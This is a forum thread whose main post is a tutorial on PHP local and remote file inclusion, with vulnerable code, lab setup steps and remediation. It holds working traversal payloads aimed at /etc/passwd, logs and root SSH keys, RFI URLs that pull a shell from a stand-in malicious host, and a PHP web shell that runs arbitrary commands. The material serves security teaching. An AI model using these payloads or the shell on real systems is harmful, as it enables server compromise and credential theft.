

Forum:[Hack Forums](#)

Thread: [Local and Remote File Inclusion \(LFI & RFI\) - A Practical Guide](#)

JoseMar - January 12, 2025, 3:47 am

Local and Remote File Inclusion (LFI & RFI) - A Practical Guide

Introduction

Local File Inclusion (LFI) and Remote File Inclusion (RFI) are two common vulnerabilities found in web applications. These vulnerabilities arise when applications dynamically include files based on user input without proper validation. While this might sound harmless, attackers can exploit these flaws to access sensitive files, execute malicious code, or even take full control of a server.

This guide will break things down step by step, explaining what these vulnerabilities are, how they work, and how you can test for them ethically in a controlled environment. Let's dive in!

What is Local File Inclusion (LFI)?

Local File Inclusion (LFI) happens when a web application allows users to specify files that will be loaded by the server. If the application fails to sanitize the input, attackers can exploit this to include unintended files stored locally on the server.

How LFI Works

Imagine a simple PHP application that includes files based on a `GET` parameter:

PHP Code

```
<?php
    $file = $_GET['file'];
    include("pages/" . $file);
?>
```

At first glance, this seems fine. A legitimate user might access the page like this:

Code `http://example.com/index.php?file=about.php`

But what happens if someone enters something unexpected?

Code `http://example.com/index.php?file=../../../../etc/passwd`

The server will attempt to include `/etc/passwd`, revealing sensitive system information.

What Can Attackers Achieve with LFI?

Read sensitive files: Files like `/etc/passwd` (Linux) or configuration files may contain valuable data.

Run malicious code: Attackers can combine LFI with file upload vulnerabilities to execute malicious scripts.

What is Remote File Inclusion (RFI)?

Remote File Inclusion (RFI) takes things a step further. Instead of including local files, RFI vulnerabilities allow attackers to include files hosted on external servers. This can lead to remote code execution, giving attackers the ability to control the server.

How RFI Works

Here's an example of vulnerable code:

```
Code <?php
    $file = $_GET['file'];
    include($file);
?>
```

A legitimate user might visit:

Code `http://example.com/index.php?file=about.php`

However, an attacker can do this:

Code `http://example.com/index.php?file=http://malicious-site.com/shell.php`

The server will fetch and execute `shell.php`, which could be a malicious script.

LFI vs. RFI: What's the Difference?

LFI focuses on files already stored on the server.

RFI allows inclusion of files from external sources.

Both vulnerabilities can be devastating, but RFI is generally considered more dangerous since it directly enables remote code execution.

Setting Up a Virtual Lab for Ethical Testing

Testing LFI and RFI in the wild is unethical and illegal. To explore these vulnerabilities safely, you can set up a virtual lab.

What You Need:

A virtual machine (e.g., Kali Linux or Ubuntu).

A web server (Apache or Nginx).

Vulnerable applications or custom scripts.

Steps to Set Up:

Install Apache and PHP:

Code `sudo apt update`

`sudo apt install apache2 php libapache2-mod-php -y`

Create a Vulnerable Script: Save the following PHP code as `vulnerable.php` in your web server's root directory (e.g., `/var/www/html`):

PHP Code

```
<?php
    $page = $_GET['page'];
    include($page);
?>
```

Start the Web Server:

Code `sudo service apache2 start`
Test LFI: Open your browser and try:

Code `http://<your-vm-ip>/vulnerable.php?page=../../../../etc/passwd`
This should display the contents of the `passwd` file if the application is vulnerable.

Test RFI: Host a malicious script (`shell.php`) on another server.

Include it in the vulnerable script:

Code `http://<your-vm-ip>/vulnerable.php?page=http://<attacker-ip>/shell.php`

Example Malicious Script:

Save the following as `shell.php`:

PHP Code

```
<?php
    echo "You have been hacked!";
    system($_GET['cmd']);
?>
```

Real-World Consequences

LFI and RFI have been used in numerous cyberattacks. Attackers might:

Deface websites.

Steal sensitive data.

Deploy backdoors for persistent access.

A famous example is the RFI exploitation in outdated PHP applications that led to massive botnet infections.

How to Prevent LFI and RFI

1. Validate User Input

Don't trust user input. Use a whitelist approach:

PHP Code

```
<?php
    $allowed_files = ['about.php', 'contact.php'];
    if (in_array($_GET['file'], $allowed_files)) {
        include("pages/" . $_GET['file']);
    } else {
        echo "Invalid file!";
    }
?>
```

2. Disable Dangerous PHP Functions

In `php.ini`, disable functions that allow RFI:

Code `allow_url_include = Off`

`allow_url_fopen = Off`

3. Use Absolute File Paths

Explicitly define file paths to avoid directory traversal:

PHP Code

```
<?php
$file = realpath("pages/" . $_GET['file']);
if (strpos($file, realpath("pages/")) === 0) {
    include($file);
} else {
    echo "Invalid file path!";
}
?>
```

4. Log and Monitor

Keep track of errors and unusual activity. Suspicious patterns can indicate an attack attempt.

Additional Examples of LFI and RFI Exploitation

Viewing Log Files with LFI

Attackers can exploit LFI to access log files that may contain sensitive information:

Code <http://example.com/index.php?file=../../../../var/log/apache2/access.log>

If an attacker injects malicious payloads into the logs (e.g., through user-agent headers), the LFI vulnerability could execute those payloads when the log file is included.

Exploiting Backup Files

Backup files are often overlooked but can be a goldmine for attackers:

Code <http://example.com/index.php?file=../../../../backup/config.php.bak>

If the backup contains sensitive configuration details, it could lead to further exploitation.

RFI for Remote Command Execution

Using an externally hosted PHP script to execute commands on the server:

Code <http://example.com/index.php?file=http://malicious-site.com/exec.php&cmd=whoami>

This example shows how attackers can chain RFI with command execution to compromise the server.

Reading SSH Keys

If the application has read permissions, attackers may try to retrieve SSH private keys:

Code http://example.com/index.php?file=../../../../root/.ssh/id_rsa

This would allow the attacker to authenticate to other servers where the key is authorized.

Including a PHP Shell via File Upload

If combined with a file upload vulnerability, attackers might upload a PHP shell and access it using LFI:

Code `http://example.com/index.php?file=uploads/shell.php`

Conclusion

LFI and RFI vulnerabilities are powerful tools in a hacker's arsenal, but they can be mitigated with proper coding practices and configuration. By testing these vulnerabilities in a controlled lab, you can gain valuable insights into both attack and defense techniques.

Always remember: ethical hacking is about making systems safer, not exploiting them.

Bastille - January 13, 2025, 3:05 am

Always good to go back to the basics sometimes, by the way it's crazy that natively apache is still vulnerable to LFI and RFI

I liked the remediation / counter measure part, great addition ?

JoseMar - January 15, 2025, 1:53 pm

(Jan 13, 2025 04:05 AM)Bastille Wrote: [\[CITE\]](#) Always good to go back to the basics sometimes, by the way it's crazy that natively apache is still vulnerable to LFI and RFI

I liked the remediation / counter measure part, great addition ?

Thanks so much mate, Appreciate it ?

trasloke - October 1, 2026, 8:10 am

Hi, What are the most common parameters to check when a page isn't working? If you were to access the configuration settings, what details do you think would be the most interesting? Thanks.